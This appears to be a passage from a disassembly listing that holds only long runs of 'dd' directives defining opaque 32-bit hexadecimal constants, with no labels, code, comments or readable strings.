		dd 0D2336A91h, 0B897322Ah, 3B4EE752h, 0A8C03F93h, 4A883D42h
		dd 0C3F45E7Dh, 1D7213F9h, 77240A09h, 4096D518h,	0D5046AC3h
		dd 0A3572824h, 3C21FB11h, 723F462Bh, 0CA451012h, 88082608h
		dd 9AB40A76h, 6976565Ah, 2E25365Ah, 4B78E60Bh, 0D203E877h
		dd 0B899FECh, 6307317Dh, 345B6528h, 0BACCEA7Ch,	83520575h
		dd 25D4853Ch, 223A94B8h, 2DFABB0Ah, 0B9C56B5h, 0C4D59625h
		dd 98077D69h, 14462689h, 0ECC8251Eh, 0CCC5806h,	0F040618h
		dd 3F8B0DEBh, 7E145EACh, 103E26CDh, 0D8166FCh, 11020C4Eh
		dd 0F64B61B9h, 0D249D55Eh, 259390EBh, 0DBEA2274h, 101EFA5Ch
		dd 0C0974A7h, 80A0EF13h, 0EE3A667Ch, 74183883h,	7406266Fh
		dd 0F15927C3h, 4044325Ah, 782DF2Bh, 5929EEF1h, 21531267h
		dd 4D013585h, 207643C9h, 61F8135Ah, 16DB647Ch, 0FB834215h
		dd 1B98D605h, 0E3157E60h, 49110DE9h, 0A9F626DBh, 7CDCC94Fh
		dd 40414B0Dh, 0CA9DA0Ch, 5E2DEFDCh, 9553277Dh, 4AB5A28h
		dd 800415B1h, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh,	0B50AB12Bh
		dd 4C43ED90h, 0C06C694h, 8BF7754Ah, 89357848h, 1DD56F3Dh
		dd 0D03E0B5h, 0EB830583h, 2C903D70h, 10848113h,	0F2913D5Dh
		dd 3D4A1084h, 85C89343h, 8D3D3741h, 482210Fh, 3C8F3D24h
		dd 11108486h, 0A88923Dh, 0FF4A8AC4h, 826A6489h,	8842D3D8h
		dd 1F1F0B2Ah, 1AFB69EBh, 0CC92551h, 3EE449A3h, 9009B649h
		dd 969815DBh, 5D5B092Dh, 0ED2083F9h, 4C390844h,	56856415h
		dd 74060AB8h, 0BEEC48EEh, 52C02C42h, 473C600h, 3D751039h
		dd 491B8DF5h, 5B5085Eh,	0BC13B16h, 0A6E27413h, 50208E5h
		dd 57FAEAE8h, 843525A3h, 9AC01F5Fh, 0B5257522h,	0A7E502D8h
		dd 44D05410h, 4768B111h, 0D81E84B7h, 464AE671h,	443E9C0Ch
		dd 0A10C00Dh, 676203Ch,	161ABBFFh, 0A2A4FA77h, 21046574h
		dd 4A1EA9E9h, 1D0AC2AAh, 0B00C5B8Bh, 108B8EB9h,	4C2278B6h
		dd 3A5063DBh, 3C12C0C3h, 4C01F83Dh, 2E102C47h, 55592593h
		dd 0EFEBC761h, 0CABD04B1h, 95F24B7Ah, 52D229D3h, 540A41F3h
		dd 0ACD865A5h, 7DE8090Ch, 508B51B3h, 7438423Dh,	5539031Fh
		dd 92F4E857h, 590C4D76h, 943F8045h, 62557F22h, 0C33B6B60h
		dd 2F22AA7Ch, 0F84F4E42h, 0EE3579D9h, 0EE0F13A3h, 0FD03A604h
		dd 0C9751F70h, 8A85A95Dh, 0A77A6E8h, 3B0C1D89h,	28BD1E2Ch
		dd 62884A88h, 65E5BFCh,	0D0D8BEC8h, 0E0BE80F9h,	0F6AE58D3h
		dd 12A18921h, 64A3042Ah, 0B7FE8B47h, 89DDC918h,	0E7E7D6F5h
		dd 1CA01A53h, 0BE70384Dh, 12D96885h, 0AF3C5088h, 4AFDF089h
		dd 2A22991h, 0A8B2ACF4h, 50CD30F9h, 0F1864B9Eh,	5717E8DAh
		dd 1450EC36h, 4CB64864h, 0A33D9D50h, 0EE5B0F65h, 72BC2464h
		dd 5FDE142Dh, 0C24A211Ah, 4CE4F7E5h, 3EFBB686h,	0A34CF0A2h
		dd 2AC23725h, 389236FCh, 8A449C00h, 0F2400150h,	2976CBFAh
		dd 3EEBDE46h, 3E4843B7h, 2485011Fh, 108A0071h, 40461688h
		dd 0CD50CA9h, 0DCE54EBh, 16439504h, 3A4118E5h, 12A943EBh
		dd 0A1F5605h, 0DA8A4067h, 926983E4h, 6CA81834h,	0B420CD67h
		dd 12375D09h, 0ECC7572h, 0C4480384h, 664B44BCh,	380CF8FFh
		dd 419E6B18h, 8A16E0B5h, 43052C81h, 0BE2A0328h,	0C84518F1h
		dd 8B09BD1Ah, 785F1455h, 0D80852FAh, 46AF8651h,	40173FF6h
		dd 9342E3FCh, 0C3F62C0Bh, 0B425C984h, 0A0BC18D7h, 220A781Fh
		dd 3C30E48Dh, 0BFEBC28Bh, 908DD04h, 1420D50Ch, 0C2940F18h
		dd 0D10C81FDh, 4BD38BEBh, 0E148638h, 0C6818943h, 44465C06h
		dd 3B84FFB2h, 1BA88111h, 8580834Ah, 8B227D84h, 3AAB2E3Fh
		dd 0B2BD8A5Ch, 9E19532Eh, 200649E3h, 0F891C95h,	36D411Eh
		dd 0E9D5042Dh, 5239B87Ah, 0FA209B31h, 0C80F8817h, 27830304h
		dd 0D4BE8F95h, 6294BAB3h, 0E4A14A80h, 0E4A19723h, 2F3C2D8Bh
		dd 0F08E53FBh, 34E9F69Bh, 0ACB75A9h, 0F383E0D5h, 0D617BA74h
		dd 28F09844h, 0A4255998h, 7C4CFFF1h, 848C529Fh,	0E902441Ch
		dd 15DC8F4Ah, 44498A81h, 9140490Ch, 660BC250h, 74081E39h
		dd 70401CECh, 0F9751812h, 0F21707A4h, 0C8FAC62Bh, 0F84CD1B5h
		dd 640348Fh, 9D085E86h,	341667F0h, 3601D7FFh, 3274EB3Bh
		dd 462D3360h, 62A6B90h,	5A3A230Bh, 7B71B955h, 55444DDAh
		dd 1BC30CF0h, 647EE810h, 0D5C4247h, 0B078098Bh,	497A022h
		dd 0C1AD53C1h, 82A64C28h, 2CB21C86h, 3C613C74h,	0AE43C727h
		dd 41FBF8BEh, 0FB2BF605h, 0CEC5D6E6h, 0CF9D8FC6h, 0F620A128h
		dd 0F698BB98h, 27AF984Ah, 9C7CAC28h, 0BEC64B84h, 9D5B318Ch
		dd 0EC2D437Ah, 7742EA44h, 8BE86290h, 82BE3BA4h,	1B1F3326h
		dd 0A6AF7988h, 0EC242716h, 89BEE8C7h, 86A1E920h, 0F03B2A40h
		dd 801A2D73h, 0B700BE4Ah, 0A0546C6h, 3A24A151h,	1CAA19C7h
		dd 8DE2EB05h, 62AFE253h, 0B1586618h, 2276424Dh,	399294C5h
		dd 0B9B6924Bh, 8D300C82h, 39B8DDC1h, 41966F6Dh,	27C2E1Ch
		dd 0A239EE96h, 527D06F9h, 8C9B44BFh, 8EFB2790h,	388A3D51h
		dd 89C08083h, 0A8888D07h, 1173C17Fh, 20608018h,	8B404008h
		dd 0F6050F4Eh, 7D49C181h, 4AD6A8E4h, 0FDBB7C42h, 930A7908h
		dd 7E384733h, 0AD03C546h, 8A5C7FE9h, 96B45B29h,	80AC22Eh
		dd 0A6A40B75h, 2FB4F330h, 0CF34411Eh, 0DE81F73Ah, 8890B86h
		dd 48883D61h, 83454787h, 0FE3B50C3h, 5198BA7Ch,	3C07ED8Ch
		dd 348DFFD8h, 854D7540h, 2E0190DBh, 5B58104h, 0FA58F66Ah
		dd 48C3F604h, 999C28BCh, 1434B3F5h, 8533A8EBh, 67725717h
		dd 8DE4750Ch, 0D13E8924h, 4E800641h, 0BC34102Bh, 67037B7Bh
		dd 0BF08170Ah, 43C80DDBh, 30AFB83h, 0B9FF9B7Ch,	8A386E6Ch
		dd 0BE84AA92h, 5100EE44h, 30324356h, 0A4CFE958h, 88811B8h
		dd 2FFCBDBCh, 2D14D25Dh, 65FE40F7h, 82AE0449h, 88D3A857h
		dd 0BEEFAC10h, 73444332h, 0DF087B02h, 8D6142E8h, 909076F4h
		dd 72E08F5Ah, 55563E45h, 0FF106B06h, 5D321854h,	810B855Eh
		dd 3C783399h, 0E8534D84h, 0D0B4BB29h, 563DCC04h, 6B865E1Ah
		dd 18D06F08h, 350878B7h, 1E23E1E8h, 0CAC731Fh, 7BF4797Fh
		dd 34B31BA3h, 0B8A1EBD0h, 5787F1D7h, 1558197Bh,	0FF6A5D41h
		dd 8D1E8091h, 0F26F2F5Dh, 7755CB15h, 0EC292191h, 50671C41h
		dd 0E8411808h, 254892F9h
		dd 0A198A0C2h, 0AD129D80h, 920D9E85h, 0BD52A12h, 0FB0BF0F4h
		dd 636821E4h, 18E87FFCh, 59A10B3Bh, 0D45927A0h,	4B4ACAC2h
		dd 902D877Bh, 8B01A4B8h, 1E04BED5h, 0A2E018B8h,	5E65B03Bh
		dd 7D60E30Bh, 0BC56F188h, 3E602BEh, 1B8A963Bh, 11C0E27h
		dd 0E8D26D15h, 0DE3D945h, 0D722911Dh, 76FA8114h, 41F11864h
		dd 0FE5C858Dh, 8E81F92Fh, 8FCD126Ah, 0F524FB2Bh, 0FB5F185Dh
		dd 0F3E817E0h, 8C5F59Ch, 0E1FF5713h, 0E80840BDh, 0AC68BBEh
		dd 14CC5940h, 1A29763Ch, 0B9AB5099h, 0EF8A927h,	1B078317h
		dd 0A61F036Ah, 0B7855868h, 8B9E0A41h, 0DD10C425h, 682AF2C4h
		dd 9D45563Ch, 0A8BE1109h, 8A0DA0ABh, 911E3868h,	0B62A7E8Fh
		dd 1784D41Ch, 827D24C8h, 1201068h, 1644119Bh, 0D697B828h
		dd 5F2C82B8h, 0E7726EBh, 5B3175D8h, 42363092h, 598D26A2h
		dd 9BF4FC13h, 35DE3DB1h, 68B1F1C5h, 21BAD2CEh, 4573E8BFh
		dd 46FB526h, 2785AAF5h,	32FD9E17h, 18A8C73Ch, 11EB341Ch
		dd 0D62F871Bh, 13823214h, 8B8B8F91h, 0F0618314h, 89014B2Ch
		dd 0F9323FD6h, 0A7CA5C72h, 1F96AEDCh, 0CE1FBA1h, 8AF8216Ah
		dd 0BD04F144h, 0A1C31622h, 305697B4h, 5EBA146Ah, 929F0775h
		dd 3BB9607Ah, 0A07D4AC6h, 1AA2A3F5h, 817CA575h,	0D659C04Fh
		dd 4C7F73B5h, 562621BBh, 1C8098B8h, 19A768E8h, 1A02B6ACh
		dd 29AAC3E8h, 45A80424h, 0AEAC158Bh, 0C01CA4D0h, 0AADAF420h
		dd 0AE2F47C9h, 0B8B9E305h, 49C21D0Eh, 0A6D151F2h, 0F00EECF1h
		dd 0E52222B9h, 79B3509Dh, 2062C009h, 18F98142h,	0D4677F60h
		dd 30E8C35Eh, 80B0E409h, 0E4B76C3Dh, 0E9050957h, 0B859166Dh
		dd 2F4AD9A7h, 0DEE589FDh, 0B75CBC2h, 0A62363EFh, 2C9D9070h
		dd 6353977h, 36580888h,	58AC8D4Ah, 5A8F652Dh, 8AD925FCh
		dd 0C8306A7h, 353EED36h, 298BE20h, 48199F0Ch, 8B1B3806h
		dd 85B47D0Dh, 21CE4EB5h, 18F9FB78h, 0F049A118h,	8C04EB0h
		dd 0C93E75C3h, 5E78E4C2h, 44565E2Dh, 17479452h,	47D6228h
		dd 1D50FA50h, 19B5561Ch, 2C01534Ah, 0C1CE18F0h,	58026A95h
		dd 884445A3h, 0D9A1249Ch, 5958A1Ch, 0F949D6A1h,	2150E534h
		dd 399FE934h, 8594C820h, 0A8185D39h, 8E1CA435h,	84322D69h
		dd 7135D420h, 40BF1918h, 6374AEE2h, 8D09197Ch, 27A7563Ch
		dd 69237DC6h, 7E7E2788h, 0A1AEDC12h, 2E82F18Bh,	7E0BF532h
		dd 0C562E984h, 86A5847Ch, 299429BFh, 346056E0h,	0A756763Ah
		dd 501425C6h, 0EE085635h, 8DE2424Ah, 957FCC65h,	6F112DC7h
		dd 0BE967E56h, 3AF2CD56h, 14906E33h, 67D0F70Ch,	5C080F23h
		dd 43FF0B14h, 2F5AB580h, 97CE3C87h, 0AA4AD0E8h,	0F4083062h
		dd 0E7F71C93h, 1E56B32Fh, 4BEAEC4Eh, 2DEB1B55h,	260055A6h
		dd 6A037457h, 12581032h, 6399E204h, 8B0E731Ah, 0BC1008DCh
		dd 18920C0h, 0ED11AF05h, 2EB05A8Ah, 8DCB5CB7h, 0ABBED112h
		dd 57BF7049h, 0BDD61090h, 740BF499h, 5572891Fh,	0E3147311h
		dd 3B4037C4h, 0E20B75D6h, 7EB3AC7h, 30BC5BAh, 8575CC80h
		dd 0D2C15E09h, 0F946CD3Bh, 0E144FB8Dh, 5F6E4D18h, 0C7F60A5Dh
		dd 0B45A5B10h, 56922878h, 28DD7BA2h, 3B5A8A39h,	1048E498h
		dd 9C510111h, 108D92FAh, 53CB8BA2h, 0CA1088BAh,	541DCBBEh
		dd 12036F80h, 9E3CE3Bh,	0D75CAA0h, 378BF8D4h, 863A0A08h
		dd 9F5A0446h, 5FC629F0h, 0C24F0C74h, 0B067551h,	0C2E84F78h
		dd 4505E51h, 4B8B1983h,	4C312310h, 0D52025D2h, 1FCFDD0Eh
		dd 101FF0ACh, 5016BFF9h, 0CA392B17h, 0D3FF0F83h, 85D2C0E2h
		dd 3E75B014h, 0FE81461Ch, 8D117D03h, 38C3EF04h,	1C0E9633h
		dd 2A23D6C0h, 95BCF27Ch, 3209F01Ah, 2E96DF2Dh, 889A56B8h
		dd 48514D2Fh, 2EB33140h, 55B2591Fh, 60DFD3A4h, 2DE837CBh
		dd 0B4E41331h, 1C784E1Ah, 0D12CFD39h, 2FC80140h, 0EF8BEE1Ah
		dd 7DF6DA01h, 0F8657AE7h, 0F52356FFh, 64F13AFAh, 0FB59BA92h
		dd 15F7B21h, 5EC3CF85h,	0C8B43299h, 41031AFDh, 8AAF5E14h
		dd 54F0A1E2h, 2B051192h, 0CE8B5AF2h, 285BC09h, 5C43215Eh
		dd 5B14474Ah, 0EC5CD7Ch, 4E8A9CACh, 0FC50330Fh,	0E68AB9A6h
		dd 2E7E2C09h, 40F02116h, 3B4017F8h, 0A6C94C1h, 149DC8FFh
		dd 864EDA82h, 0B99F4E78h, 5B290844h, 38545636h,	8930BEC1h
		dd 6240134h, 0F5D8BF4Ah, 0AA6164BDh, 49C57CCFh,	0A43D6457h
		dd 410D2126h, 7592F911h, 46C6E8D3h, 60C245CFh, 0F8975B42h
		dd 0A9994843h, 3E4C25Ah, 5425CF28h, 530C45EDh, 0CD5EEFD8h
		dd 0E6072EA4h, 0D6C5DA2Bh, 0C80ABBECh, 0B1DBCE23h, 0BD0BE823h
		dd 0C120693Eh, 3F68CB38h, 0C42E4E51h, 19EE53CEh, 70F4988Dh
		dd 0F7EC5B15h, 591E08EAh, 3B42E6C1h, 0AF0F7CDFh, 82EDFEC2h
		dd 501004EAh, 67EB6B56h, 4B58DB0Bh, 0E97E4B75h,	0DEE07925h
		dd 2B18593Bh, 810F24EBh, 0FD0A48EAh, 803034D9h,	3C272FE1h
		dd 400C06E6h, 30DC02F4h, 8110B430h, 647495E3h, 28EB3B3Bh
		dd 50951E3Fh, 0FB24C29Ch, 0A275C001h, 5875FC47h, 0F4F458A7h
		dd 0FEE4F14Fh, 592F01D9h, 2429B605h, 5981FEE2h,	53E9AA74h
		dd 0D75A12C1h, 2DB726DAh, 85477E4h, 0DD8A1F22h,	10B2D71h
		dd 208ED443h, 4F2B2CE6h, 15F1264Bh, 0A9221D0Ch,	3CEB5900h
		dd 3F7FD83Bh, 0BD54902Bh, 31C84C6Ch, 0F813B576h, 4BAE2980h
		dd 0CFDD462h, 40520C86h, 59942A24h, 0E9982050h,	3B477C63h
		dd 0A528B21Fh, 31495617h, 0DDA8570Ch, 166D9110h, 44BE778Bh
		dd 813703B3h, 0FA52E9A2h, 80251FACh, 7FF76514h,	0F3030222h
		dd 0DFFE49E8h, 0C14AEC1Ah, 7F389E0Ch, 4F941048h, 0F5F77282h
		dd 5E642862h, 0F10B30A0h, 10A03AE5h, 0ED4048FFh, 36242E69h
		dd 4A87BBF8h, 0A6F0639h, 75201124h, 31487F05h, 3068C46Ch
		dd 0CA7BD0B1h, 0C6822FEFh, 482CC8EAh, 261D6CD1h, 0F9B85F25h
		dd 7152FF93h, 0D5628384h, 1552DD9Dh, 0D99DEF8Ch, 0C9248A85h
		dd 70437E2Dh, 7E7A95C8h, 0EB55259Dh, 0FA38D66Ah, 5460EF4Ah
		dd 0C601037Eh, 0DB853006h, 1FCAC7FBh, 332B6175h, 0A73AF4E6h
		dd 0BE1D16FEh, 30014151h, 4010885Ah, 75EE41FFh,	786FA7E9h
		dd 7C50C72Ah, 35397312h, 43550DAAh, 0DF17BDD4h,	0EB0E38F8h
		dd 0C1FFEF5h, 0FF18313Eh, 204423Eh, 79E85712h, 59ABFD82h
		dd 0CB0C8C1h, 10F99510h, 0D0F056C4h, 709DAC57h,	0FE59814Fh
		dd 68A13743h, 33C52CF8h, 0E11046Ah, 0A5FC8B41h,	0E863662Eh
		dd 380B1588h, 0FC2420A3h, 871894A9h, 43FA051Bh,	5F1F9CFFh
		dd 47FBBFFAh, 1B1CD62Eh, 99EBC77Bh, 0B81FFC0Dh,	99AB1C44h
		dd 0C8A50407h, 42F46658h, 0FFBF0616h, 0C81388A9h, 0C1CF2225h
		dd 0CF23F160h, 2EDE24B2h, 0D012A639h, 0FBBED90Ch, 3D239680h
		dd 0A06ACFD5h, 135F7445h, 280E2D85h, 5A3C09B9h,	0E9BF4C67h
		dd 8821D39Dh, 0D3E8129Ch, 1FB20EE8h, 6FA06495h,	0EB260C66h
		dd 1454E4Bh, 8A4C132Ch,	8315AE65h, 0C88B0B08h, 41B74376h
		dd 5FEEE256h, 0CB41CECAh, 0BC872ACEh, 0A0C90363h, 1EBC1DAh
		dd 8DD90B1Fh, 4189120Ch, 0A2C78140h, 0CB1391E0h, 1346DFEBh
		dd 2D9ACF0Bh, 0FF90848h, 0BEE80284h, 0ADAC13AEh, 6179D01h
		dd 1488FBA9h, 0D0290E64h, 0CC62AEE9h, 0A928A14Ah, 142BA4EAh
		dd 756A4082h, 3D095731h, 692D6931h, 95785E43h, 0BD4B6809h
		dd 2426A457h, 1F18A34Ah, 0F351AC3h, 0C84E121Bh,	6D296812h
		dd 0CD202693h, 0F6749369h, 1C6C3884h, 0F4F14278h, 0A71CAFB0h
		dd 0A6A8234h, 587D2FE8h
		dd 5A167725h, 7CDB5C67h, 84AF03BCh, 3A55170Bh, 89E8F6C6h
		dd 58F71574h, 573BE5A3h, 6E9BF5D8h, 0AEF1F94h, 0A4AE1815h
		dd 1D398917h, 1375B2E8h, 3B3C4FB2h, 660793CBh, 389849E1h
		dd 0EB58DA01h, 56B2E15Bh, 0C511BC93h, 8DA5A14Dh, 7E00C438h
		dd 1045392Ah, 33322F7Ch, 0DF08AEC9h, 647DCCC2h,	0F9565E5Bh
		dd 0A011B49Dh, 9D75182Dh, 1E057255h, 97015E38h,	296CBF93h
		dd 3EFCD184h, 0A3504576h, 4EB3FDCh, 49BE79C2h, 72F6CA28h
		dd 776A0EE2h, 3F7DAB99h, 74EB3885h, 0E2F2AAA4h,	0D438EFD6h
		dd 40F90C80h, 200A1573h, 0A54060EBh, 0E0D3C219h, 0D6BFD056h
		dd 921FE19Eh, 0A4FB87E2h, 4AF3E3D2h, 0BF560BF0h, 429D6B6Ch
		dd 89D071Eh, 321EDF4Ah,	2E07021Eh, 7FB97E83h, 53A4357Ah
		dd 1F0A594Ch, 32FF463Bh, 1042809h, 0F9894014h, 658BBF6h
		dd 0EFF1174h, 4E869D30h, 59B5230Fh, 11C3141Dh, 9318881Bh
		dd 240431EFh, 4AC93AEFh, 0E36AC3F5h, 0BFE12844h, 0A724E82Dh
		dd 7760BE6h, 5FF2821h, 51C3250Eh, 0ED3341E8h, 6826C09Dh
		dd 25A4B6C4h, 2D37E650h, 1D603130h, 0C4438208h,	281F80Dh
		dd 55160CE8h, 21F5B619h, 50446A09h, 42CC3868h, 40BCB450h
		dd 212840Fh, 4AA126C8h,	0D8C1804h, 3C06C06Bh, 7E2D3966h
		dd 0E2609715h, 81C560A3h, 52161589h, 5F12FE0h, 33CF66Bh
		dd 471459C6h, 1B2117D2h, 0F8FE0A1h, 1263C53Bh, 504EC12Bh
		dd 400137F1h, 118A68A3h, 208A0CEBh, 0A20CDF10h,	8B962297h
		dd 569F235h, 3F6A5550h,	307EE3BFh, 685333ECh, 5783CB3Ch
		dd 0A0B716F5h, 0D06C3915h, 0A128E558h, 6080191Eh, 4808923Fh
		dd 45AA200Bh, 0F05A3F0Ch, 1E903AA9h, 413FCB40h,	163E0401h
		dd 0A166B4E8h, 1A42F053h, 0C31D2FE9h, 444286D4h, 0E456A126h
		dd 681126B2h, 7B3CE804h, 346443F3h, 1965A0Ch, 7E76E81Bh
		dd 81362AB1h, 7DF8727Dh, 4697F577h, 0A3C528C3h,	0EFC6BD1Ch
		dd 8308A994h, 3C1E268Eh, 4E7EC4D6h, 353AC405h, 0EB91FEA5h
		dd 0E8BB14C4h, 0FA2DDF65h, 5F46DB46h, 659B5094h, 0BD305CB3h
		dd 0FAC96912h, 9F89A1B0h, 5B58064h, 0A5C42B76h,	77C45C1h
		dd 5F7F39E0h, 6F97B803h, 4E75A762h, 8A6D5C8Ch, 310844A9h
		dd 0C8038A27h, 512BC82Fh, 892308F3h, 286E1442h,	0C4FD3B18h
		dd 19A4D9F7h, 8A19F095h, 0F79192C4h, 2BB90188h,	4CE80943h
		dd 27A674D8h, 0B612E38Ah, 0C4356C8Ah, 93F8BC20h, 0E8D262BCh
		dd 7B374129h, 294C5622h, 0D904EA12h, 14A4C05Bh,	0F850053Bh
		dd 10D20C19h, 1C0D6D25h, 5A923D02h, 0CC283230h,	0DB7C32Eh
		dd 511B19DEh, 9D02A66h,	99DC1E90h, 0D81CDA11h, 1D753284h
		dd 5725D415h, 1BD6130Ah, 5020D264h, 1456EB53h, 15572914h
		dd 0ECAA4CB4h, 10E1498h, 8A051160h, 0C55CC64Ah,	0CA507C44h
		dd 64088825h, 10847286h, 15C82875h, 13579480h, 901B8229h
		dd 56E8977Eh, 0EB575316h, 0EB2C7860h, 531FAC42h, 0A3782057h
		dd 0DDEBE921h, 86025FE3h, 8E95F24Bh, 90FC9911h,	0BA125FA1h
		dd 0A29053Bh, 0C17B1044h, 0FC158B58h, 49A11624h, 37B130Ch
		dd 0D03B1C4Eh, 0CAA01E7Dh, 0BF4F8C0Fh, 0C81E0B1Fh, 8B78F0Ah
		dd 287ECA0Dh, 971A7DF0h, 18FD1377h, 24F67C14h, 0C282F27Fh
		dd 952A0430h, 4933E853h, 4C45004h, 3F0606A1h, 389826E8h
		dd 33240F75h, 42386CC9h, 0FCC19D13h, 0FA17485h,	0CB9C0810h
		dd 9975EF1Ah, 1011015Eh, 89016056h, 58FE04E1h, 65831AFCh
		dd 0FEB003E6h, 45B45198h, 2E86A83Bh, 0B09EB2Ah,	0D3D94445h
		dd 697CE03Fh, 0F36DD222h, 3057FFF8h, 0F930F8C1h, 377076Ah
		dd 3A2584FAh, 5FCCE025h, 0CEF77599h, 3BE0188Ah,	0E7D1C55h
		dd 2B078BA0h, 7A03C23Fh, 15F0D09Dh, 0E0AEBF9h, 0EA791892h
		dd 75250518h, 0DDE85F38h, 0B6288B08h, 6646114h,	3B404810h
		dd 83207ECEh, 0AA07E93Fh, 0E99F891Bh, 0CE009B8h, 6881A685h
		dd 0C7F1307h, 7D404D03h, 2BD3419Dh, 0B244293h, 3EB3FCA7h
		dd 0B828AA2Eh, 2C150CA3h, 301298FDh, 2AF9A4A3h,	7B2B55EBh
		dd 620850Ch, 9062055Ch,	6604F42Bh, 2B810D79h, 49D1265Ch
		dd 11EB0D50h, 619D84BAh, 0B7420E5Ah, 4613A841h,	52299A4Bh
		dd 0B8EC92BDh, 4336246h, 915EB9F6h, 44AF0145h, 0FC908D7Ch
		dd 73C282F3h, 3989551Ch, 0C082AFFEh, 7EF1EB08h,	242B1FFAh
		dd 4E50252Ch, 4B09669Dh, 47DFC354h, 8120D1CFh, 0FB203FF9h
		dd 9D43EBC5h, 0E8164946h, 43A379B8h, 8D893323h,	68CFFC0Ch
		dd 32899D55h, 4AD414AFh, 3101179h, 0E81FEBD6h, 277EE7C1h
		dd 9FECF8DFh, 56134DFBh, 5709C6A3h, 0BEDC5273h,	31F1FF76h
		dd 7C368442h, 9349C940h, 2A1EF914h, 104008FAh, 0A6FD081Ch
		dd 0F416B313h, 0F50AD719h, 0F60203D5h, 0F028E1DDh, 89078B00h
		dd 0CF301C2Ch, 0E0A85B12h, 0DE267FFDh, 250D46EEh, 0C47E7155h
		dd 0E6072C3Ch, 931391C6h, 7C1DEF37h, 2FF73253h,	2BAC1F31h
		dd 49F490C8h, 9508173h,	38D413D6h, 300C3D83h, 0B9C03391h
		dd 44B6293Ah, 0E2B3E973h, 0AE0127F6h, 0FA6E7D7Dh, 5C3FC30Ah
		dd 3D103D87h, 79D0617Eh, 5C1FE283h, 0B883D13Fh,	27E85025h
		dd 77C4FF99h, 0F0141516h, 25322EFAh, 8D6B7212h,	0EE11AD57h
		dd 5EE8681Ch, 0F6562AC0h, 578025C1h, 98F446FDh,	74E8185Dh
		dd 0C6EC0A09h, 1007FFFEh, 65800BEBh, 8CAF136Eh,	0A6B6B8BCh
		dd 0C9BD0A7h, 40C5F611h, 0A4B039C0h, 7D09899Dh,	35FF24A7h
		dd 0C1BC006Ah, 2BC6235Eh, 2D4BC37Fh, 15B392AAh,	90EC9655h
		dd 0E97A818Ah, 9A0AA13Ah, 8523F48Fh, 9231025h, 3107CA40h
		dd 0CDF47A80h, 6774E6F8h, 54200A26h, 48300F18h,	0BBC4310Ah
		dd 0EBF0CC89h, 0BA4594CEh, 0B5785877h, 78A7E97Bh, 0E0BAF215h
		dd 408FA407h, 0CA262304h, 0C862CBBFh, 2E0C417Fh, 2A3D9E68h
		dd 6EE4CF25h, 0C83C0244h, 362C0311h, 92EA6E17h,	48A6F838h
		dd 4421337h, 9FBE2E37h,	54729CCh, 9A1A57C8h, 9D5C1106h
		dd 0E90E0A3Eh, 544303Eh, 327F0722h, 2DEE5446h, 8541A05Fh
		dd 0F81374C7h, 0D434550Dh, 14A4B42Fh, 59BD3892h, 40A80AC4h
		dd 0CE810DB5h, 0F6105341h, 0E8C424FFh, 0F70B12A8h, 82AAAE8h
		dd 7C5E9815h, 624CA0Ah,	0E80DBC0Ch, 34BEFC69h, 3BECCF63h
		dd 564EDF4Ch, 8918C8F2h, 42D73EEBh, 5D9C09CEh, 0F01E83F1h
		dd 64F427BDh, 2B5C4582h, 12BF45EAh, 0C4FAB956h,	0ECAA1B75h
		dd 71AAD7E5h, 39DF3EE8h, 5CC7273Ah, 0E714BBDh, 66A19CA8h
		dd 0E546F09h, 70088BA7h, 0F982617Fh, 9C458A59h,	0CB85F34Fh
		dd 7798010Ch, 0B452C88h, 0F38FD27Ah, 0BA5448EBh, 78750405h
		dd 0F6C5F4A1h, 0B102F943h, 0DCD26A6Eh, 0D485887Dh, 0CDBA0C44h
		dd 4AF86CD6h, 0DD7E54F2h, 0EB4D86DDh, 134B6E3Fh, 0CEE3E84h
		dd 7E525099h, 0A444D043h, 9F589F16h, 0CA161A41h, 0CD72F2Ch
		dd 12E5E35Ch, 22D2D6ABh, 3A503557h, 0CDBDE475h,	0FA69590Bh
		dd 0B689719h, 0F50019AAh, 0F9832E08h, 9ABF507h,	78FC20FBh
		dd 0FD8DC66Bh, 35FE78ADh, 0B2B60FD0h, 4C8A3222h, 905F8424h
		dd 0BD1C752Fh, 88D02289h, 71E80E5Ah, 4DBA4516h,	0FE3E23C1h
		dd 752509CCh, 49DA5E01h, 0F0421C54h, 3B421924h,	74336CEAh
		dd 0C8FA674Eh, 0EC5B6868h, 82F44194h, 902AA3A3h, 0A4DC6850h
		dd 0A0C8F011h, 0DBF4A308h, 0F8BB1A2Bh, 5FA10F3Eh, 0FF16F230h
		dd 0CBFA9FD0h, 0F8A1F2C5h, 53051121h, 0BDBE1244h, 65049085h
		dd 4E121522h, 0EB40C8AFh
		dd 51B3F85Bh, 0AF0F570Dh, 0FE3B600Ch, 0DE17E07Dh, 69BB0D77h
		dd 0CAA27B15h, 17D57726h, 0B522BB1Dh, 8224430Dh, 10DD0BA2h
		dd 172B75A2h, 0BB086A56h, 5E75717Ch, 0C830ED22h, 9DEA0919h
		dd 1405A746h, 6A53B9EBh, 86100BBCh, 880C896Dh, 78C97D20h
		dd 0C2036FDBh, 8867EDB6h, 0F62F7844h, 0B6A0405Ah, 8185B70Dh
		dd 5E61BB82h, 89404701h, 0AB177C14h, 0B034F824h, 0D12877E8h
		dd 0B1500D32h, 0DDC2FD24h, 44BC5EB9h, 0D324AE5Dh, 74CAD836h
		dd 5232588Dh, 2774723Fh, 3CEB73CEh, 5E103305h, 9CFE0A89h
		dd 0A5BF7C52h, 32BC3790h, 0B8FFCB2Fh, 2D8D177Ch, 67630446h
		dd 0B7E830F8h, 37E14AEh, 17084628h, 91E977FEh, 38F79F31h
		dd 8C87C4BBh, 0DB206CBBh, 78F030ECh, 3CEECEFh, 8089F63Ch
		dd 0C13F348Dh, 7E0B1FE9h, 0C6509FF1h, 703ED77Fh, 93EABE04h
		dd 34EBE1D1h, 502E731Bh, 5ECF367Eh, 0CF9CBF2h, 19E93A02h
		dd 1D89CE0Bh, 0BFE7F108h, 36EA3F19h, 0E74056CFh, 55B2DDFEh
		dd 9C597057h, 0E833938Fh, 0C05627ADh, 80404E11h, 53E41389h
		dd 8060460h, 95575176h,	0F3072672h, 0A5F07D8Dh,	0E8CAFC1Fh
		dd 0F6BB9670h, 0D50D6A69h, 2F4EEFAh, 145A10A9h,	0EF4AE7E8h
		dd 0BE0F6161h, 223C80B4h, 5C74E121h, 3C5D1C47h,	7562816Eh
		dd 5FC88DB6h, 28E1AC39h, 3A6EE56Ah, 89CC05AFh, 87A81343h
		dd 0AFEEB7F7h, 0D2B4E1CFh, 1FE1944Eh, 30FFD181h, 0EB03FE73h
		dd 27BE4AD3h, 1064CCA3h, 0B7F496C8h, 598E583Dh,	0E2662DEBh
